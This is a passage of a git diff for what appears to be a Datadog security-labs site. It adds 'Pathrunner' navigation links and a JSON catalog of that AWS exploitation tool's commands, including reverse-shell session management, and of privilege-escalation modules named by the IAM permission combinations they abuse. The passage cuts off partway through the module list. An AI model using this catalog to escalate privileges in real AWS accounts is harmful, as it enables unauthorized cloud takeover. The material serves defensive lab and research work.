+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/test-reverse-blast-radius-direct-and-indirect-through-admin/index.html b/docs/labs/test-reverse-blast-radius-direct-and-indirect-through-admin/index.html
index 1e171040..59071157 100644
--- a/docs/labs/test-reverse-blast-radius-direct-and-indirect-through-admin/index.html
+++ b/docs/labs/test-reverse-blast-radius-direct-and-indirect-through-admin/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/test-reverse-blast-radius-direct-and-indirect-to-bucket/index.html b/docs/labs/test-reverse-blast-radius-direct-and-indirect-to-bucket/index.html
index 187f1b50..2b31527f 100644
--- a/docs/labs/test-reverse-blast-radius-direct-and-indirect-to-bucket/index.html
+++ b/docs/labs/test-reverse-blast-radius-direct-and-indirect-to-bucket/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/pathrunner.json b/docs/pathrunner.json
new file mode 100644
index 00000000..fbcfe7c1
--- /dev/null
+++ b/docs/pathrunner.json
@@ -0,0 +1,1659 @@
+{
+  "generator": {
+    "schemaVersion": "1.1.0",
+    "pathrunnerVersion": "v0.2.3-11-gc6673bb-dirty",
+    "gitCommit": "c6673bb"
+  },
+  "counts": {
+    "commands": 22,
+    "modules": 81,
+    "payloads": 65,
+    "services": 24
+  },
+  "commands": [
+    {
+      "name": "attacker",
+      "group": "core",
+      "short": "Manage attacker account identity"
+    },
+    {
+      "name": "aws",
+      "group": "core",
+      "short": "Execute AWS CLI commands with current identity credentials"
+    },
+    {
+      "name": "cloudfox",
+      "group": "core",
+      "short": "Import cloudfox output data"
+    },
+    {
+      "name": "context",
+      "group": "core",
+      "short": "Show current context (workspace, identity, module, options)"
+    },
+    {
+      "name": "discover",
+      "group": "module",
+      "short": "Auto-discover values for module options using AWS API calls"
+    },
+    {
+      "name": "exploit",
+      "group": "module",
+      "short": "Execute the current module"
+    },
+    {
+      "name": "identity",
+      "group": "core",
+      "short": "Manage AWS identities"
+    },
+    {
+      "name": "info",
+      "group": "module",
+      "short": "Show detailed module and path information"
+    },
+    {
+      "name": "modules",
+      "group": "core",
+      "short": "List and search modules"
+    },
+    {
+      "name": "options",
+      "group": "module",
+      "short": "Show current module options"
+    },
+    {
+      "name": "payloads",
+      "group": "module",
+      "short": "List available payloads"
+    },
+    {
+      "name": "pmapper",
+      "group": "core",
+      "short": "Import and analyze PMapper privilege escalation graphs"
+    },
+    {
+      "name": "resources",
+      "group": "core",
+      "short": "List and explore imported AWS resources"
+    },
+    {
+      "name": "search",
+      "group": "core",
+      "short": "Search modules by keyword"
+    },
+    {
+      "name": "sessions",
+      "group": "core",
+      "short": "Manage reverse shell sessions"
+    },
+    {
+      "name": "set",
+      "group": "module",
+      "short": "Set module or payload options"
+    },
+    {
+      "name": "show",
+      "group": "module",
+      "short": "Show module options or information"
+    },
+    {
+      "name": "unset",
+      "group": "module",
+      "short": "Unset module or payload options"
+    },
+    {
+      "name": "use",
+      "group": "core",
+      "short": "Select an exploitation module"
+    },
+    {
+      "name": "version",
+      "group": "core",
+      "short": "Show pathrunner version information"
+    },
+    {
+      "name": "whoami",
+      "group": "core",
+      "short": "Show current AWS identity information"
+    },
+    {
+      "name": "workspace",
+      "group": "core",
+      "short": "Manage pathrunner workspaces"
+    }
+  ],
+  "modules": [
+    {
+      "id": "apprunner-001",
+      "name": "iam:PassRole + apprunner:CreateService",
+      "category": "new-passrole",
+      "primaryService": "apprunner",
+      "services": [
+        "iam",
+        "apprunner"
+      ]
+    },
+    {
+      "id": "apprunner-002",
+      "name": "apprunner:UpdateService",
+      "category": "existing-passrole",
+      "primaryService": "apprunner",
+      "services": [
+        "iam",
+        "apprunner"
+      ]
+    },
+    {
+      "id": "batch-001",
+      "name": "iam:PassRole + batch:RegisterJobDefinition + batch:SubmitJob",
+      "category": "new-passrole",
+      "primaryService": "batch",
+      "services": [
+        "iam",
+        "batch"
+      ]
+    },
+    {
+      "id": "batch-002",
+      "name": "batch:SubmitJob",
+      "category": "existing-passrole",
+      "primaryService": "batch",
+      "services": [
+        "iam",
+        "batch"
+      ]
+    },
+    {
+      "id": "batch-003",
+      "name": "iam:PassRole + batch:CreateComputeEnvironment + batch:CreateJobQueue + batch:RegisterJobDefinition + batch:SubmitJob",
+      "category": "new-passrole",
+      "primaryService": "batch",
+      "services": [
+        "iam",
+        "batch"
+      ]
+    },
+    {
+      "id": "bedrock-001",
+      "name": "iam:PassRole + bedrock-agentcore:CreateCodeInterpreter + bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter",
+      "category": "new-passrole",
+      "primaryService": "bedrock",
+      "services": [
+        "iam",
+        "bedrock-agentcore"
+      ]
+    },
+    {
+      "id": "bedrock-002",
+      "name": "bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter",
+      "category": "existing-passrole",
+      "primaryService": "bedrock",
+      "services": [
+        "iam",
+        "bedrock-agentcore"
+      ]
+    },
+    {
+      "id": "bedrock-003",
+      "name": "iam:PassRole + bedrock-agentcore:CreateAgentRuntime + bedrock-agentcore:CreateAgentRuntimeEndpoint + bedrock-agentcore:CreateWorkloadIdentity + bedrock-agentcore:InvokeAgentRuntimeCommand",
+      "category": "new-passrole",
+      "primaryService": "bedrock",
+      "services": [
+        "iam",
+        "bedrock-agentcore"
+      ]
+    },
+    {
+      "id": "bedrock-004",
+      "name": "bedrock-agentcore:InvokeAgentRuntimeCommand",
+      "category": "existing-passrole",
+      "primaryService": "bedrock",
+      "services": [
+        "iam",
+        "bedrock-agentcore"
+      ]
+    },
+    {
+      "id": "bedrock-005",
+      "name": "iam:PassRole + bedrock-agentcore:CreateHarness + bedrock-agentcore:CreateAgentRuntime + bedrock-agentcore:CreateAgentRuntimeEndpoint + bedrock-agentcore:CreateWorkloadIdentity + bedrock-agentcore:GetAgentRuntime + bedrock-agentcore:InvokeAgentRuntimeCommand",
+      "category": "new-passrole",
+      "primaryService": "bedrock",
+      "services": [
+        "iam",
+        "bedrock-agentcore"
+      ]
+    },
+    {
+      "id": "bedrock-006",
+      "name": "iam:PassRole + bedrock-agentcore:CreateBrowser + bedrock-agentcore:StartBrowserSession + bedrock-agentcore:ConnectBrowserAutomationStream",
+      "category": "new-passrole",
+      "primaryService": "bedrock",
+      "services": [
+        "iam",
+        "bedrock-agentcore"
+      ]
+    },
+    {
+      "id": "bedrock-007",
+      "name": "bedrock-agentcore:StartBrowserSession + bedrock-agentcore:ConnectBrowserAutomationStream",
+      "category": "existing-passrole",
+      "primaryService": "bedrock",
+      "services": [
+        "bedrock-agentcore"
+      ]
+    },
+    {
+      "id": "braket-001",
+      "name": "iam:PassRole + braket:CreateJob",
+      "category": "new-passrole",
+      "primaryService": "braket",
+      "services": [
+        "iam",
+        "braket"
+      ]
+    },
+    {
+      "id": "cloudformation-001",
+      "name": "iam:PassRole + cloudformation:CreateStack",
+      "category": "new-passrole",
+      "primaryService": "cloudformation",
+      "services": [
+        "iam",
+        "cloudformation"
+      ]
+    },
+    {
+      "id": "cloudformation-002",
+      "name": "cloudformation:UpdateStack",
+      "category": "existing-passrole",
+      "primaryService": "cloudformation",
+      "services": [
+        "cloudformation",
+        "iam"
+      ]
+    },
+    {
+      "id": "cloudformation-003",
+      "name": "iam:PassRole + cloudformation:CreateStackSet + cloudformation:CreateStackInstances",
+      "category": "new-passrole",
+      "primaryService": "cloudformation",
+      "services": [
+        "iam",
+        "cloudformation"
+      ]
+    },
+    {
+      "id": "cloudformation-004",
+      "name": "iam:PassRole + cloudformation:UpdateStackSet",
+      "category": "new-passrole",
+      "primaryService": "cloudformation",
+      "services": [
+        "iam",
+        "cloudformation"
+      ]
+    },
+    {
+      "id": "cloudformation-005",
+      "name": "cloudformation:CreateChangeSet + cloudformation:ExecuteChangeSet",
+      "category": "new-passrole",
+      "primaryService": "cloudformation",
+      "services": [
+        "cloudformation",
+        "iam"
+      ]
+    },
+    {
+      "id": "codebuild-001",
+      "name": "iam:PassRole + codebuild:CreateProject + codebuild:StartBuild",
+      "category": "new-passrole",
+      "primaryService": "codebuild",
+      "services": [
+        "iam",
+        "codebuild"
+      ]
+    },
+    {
+      "id": "codebuild-002",
+      "name": "codebuild:StartBuild (buildspec-override)",
+      "category": "existing-passrole",
+      "primaryService": "codebuild",
+      "services": [
+        "codebuild",
+        "iam"
+      ]
+    },
+    {
+      "id": "codebuild-003",
+      "name": "codebuild:StartBuildBatch (buildspec-override)",
+      "category": "existing-passrole",
+      "primaryService": "codebuild",
+      "services": [
+        "codebuild",
+        "iam"
+      ]
+    },
+    {
+      "id": "codebuild-004",
+      "name": "iam:PassRole + codebuild:CreateProject + codebuild:StartBuildBatch",
+      "category": "new-passrole",
+      "primaryService": "codebuild",
+      "services": [
+        "iam",
+        "codebuild"
+      ]
+    },
+    {
+      "id": "codedeploy-001",
+      "name": "codedeploy:CreateDeployment",
+      "category": "existing-passrole",
+      "primaryService": "codedeploy",
+      "services": [
+        "iam",
+        "codedeploy",
+        "ec2"
+      ]
+    },
+    {
+      "id": "cognitoidentity-001",
+      "name": "iam:PassRole + cognito-identity:SetIdentityPoolRoles",
+      "category": "new-passrole",
+      "primaryService": "cognitoidentity",
+      "services": [
+        "iam",
+        "cognitoidentity"
+      ]
+    },
+    {
+      "id": "ec2-001",
+      "name": "iam:PassRole + ec2:RunInstances",
+      "category": "new-passrole",
+      "primaryService": "ec2",
+      "services": [
+        "iam",
+        "ec2"
+      ]
+    },
+    {
+      "id": "ec2-002",
+      "name": "ec2:ModifyInstanceAttribute + ec2:StopInstances + ec2:StartInstances",
+      "category": "existing-passrole",
+      "primaryService": "ec2",
+      "services": [
+        "iam",
+        "ec2"
+      ]
+    },
+    {
+      "id": "ec2-003",
+      "name": "ec2-instance-connect:SendSSHPublicKey",
+      "category": "existing-passrole",
+      "primaryService": "ec2",
+      "services": [
+        "iam",
+        "ec2"
+      ]
+    },
+    {
+      "id": "ec2-004",
+      "name": "iam:PassRole + ec2:RequestSpotInstances",
+      "category": "new-passrole",
+      "primaryService": "ec2",
+      "services": [
+        "iam",
+        "ec2"
+      ]
+    },
+    {
+      "id": "ec2-005",
+      "name": "ec2:CreateLaunchTemplateVersion + ec2:ModifyLaunchTemplate",
+      "category": "existing-passrole",
+      "primaryService": "ec2",
+      "services": [
+        "iam",
+        "ec2"
+      ]
+    },
+    {
+      "id": "ecs-001",
+      "name": "iam:PassRole + ecs:CreateCluster + ecs:RegisterTaskDefinition + ecs:CreateService",
+      "category": "new-passrole",
+      "primaryService": "ecs",
+      "services": [
+        "iam",
+        "ecs"
+      ]
+    },
+    {
+      "id": "ecs-002",
+      "name": "iam:PassRole + ecs:CreateCluster + ecs:RegisterTaskDefinition + ecs:RunTask",
+      "category": "new-passrole",
+      "primaryService": "ecs",
+      "services": [
+        "iam",
+        "ecs"
+      ]
+    },
+    {
+      "id": "ecs-003",
+      "name": "iam:PassRole + ecs:RegisterTaskDefinition + ecs:CreateService",
+      "category": "new-passrole",
+      "primaryService": "ecs",
+      "services": [
+        "iam",
+        "ecs"
+      ]
+    },
+    {
+      "id": "ecs-004",
+      "name": "iam:PassRole + ecs:RegisterTaskDefinition + ecs:RunTask",
+      "category": "new-passrole",
+      "primaryService": "ecs",
+      "services": [
+        "iam",
+        "ecs"
+      ]
+    },
+    {
+      "id": "ecs-005",
+      "name": "iam:PassRole + ecs:RegisterTaskDefinition + ecs:StartTask",
+      "category": "new-passrole",
+      "primaryService": "ecs",
+      "services": [
+        "iam",
+        "ecs"
+      ]
+    },
+    {
+      "id": "ecs-006",
+      "name": "ecs:ExecuteCommand + ecs:DescribeTasks",
+      "category": "existing-passrole",
+      "primaryService": "ecs",
+      "services": [
+        "iam",
+        "ecs"
+      ]
+    },
+    {
+      "id": "ecs-007",
+      "name": "iam:PassRole + ecs:StartTask + ecs:RegisterContainerInstance",
+      "category": "new-passrole",
+      "primaryService": "ecs",
+      "services": [
+        "iam",
+        "ecs"
+      ]
+    },
+    {
+      "id": "ecs-008",
+      "name": "iam:PassRole + ecs:RunTask",
+      "category": "new-passrole",
+      "primaryService": "ecs",
+      "services": [
+        "iam",
+        "ecs"
+      ]
+    },
+    {
+      "id": "ecs-009",
+      "name": "iam:PassRole + ecs:StartTask",
+      "category": "new-passrole",
+      "primaryService": "ecs",
+      "services": [
+        "iam",
+        "ecs"
+      ]
+    },
+    {
+      "id": "emr-001",
+      "name": "iam:PassRole + elasticmapreduce:RunJobFlow",
+      "category": "new-passrole",
+      "primaryService": "emr",
+      "services": [
+        "iam",
+        "emr"
+      ]
+    },
+    {
+      "id": "emrserverless-001",
+      "name": "iam:PassRole + emr-serverless:CreateApplication + emr-serverless:StartJobRun",
+      "category": "new-passrole",
+      "primaryService": "emrserverless",
+      "services": [
+        "iam",
+        "emrserverless"
+      ]
+    },
+    {
+      "id": "gamelift-001",
+      "name": "iam:PassRole + gamelift:CreateBuild + gamelift:CreateFleet",
+      "category": "new-passrole",
+      "primaryService": "gamelift",
+      "services": [
+        "iam",
+        "gamelift"
+      ]
+    },
+    {
+      "id": "glue-001",
+      "name": "iam:PassRole + glue:CreateDevEndpoint",
+      "category": "new-passrole",
+      "primaryService": "glue",
+      "services": [
+        "iam",
+        "glue"
+      ]
+    },
+    {
+      "id": "glue-003",
+      "name": "iam:PassRole + glue:CreateJob + glue:StartJobRun",
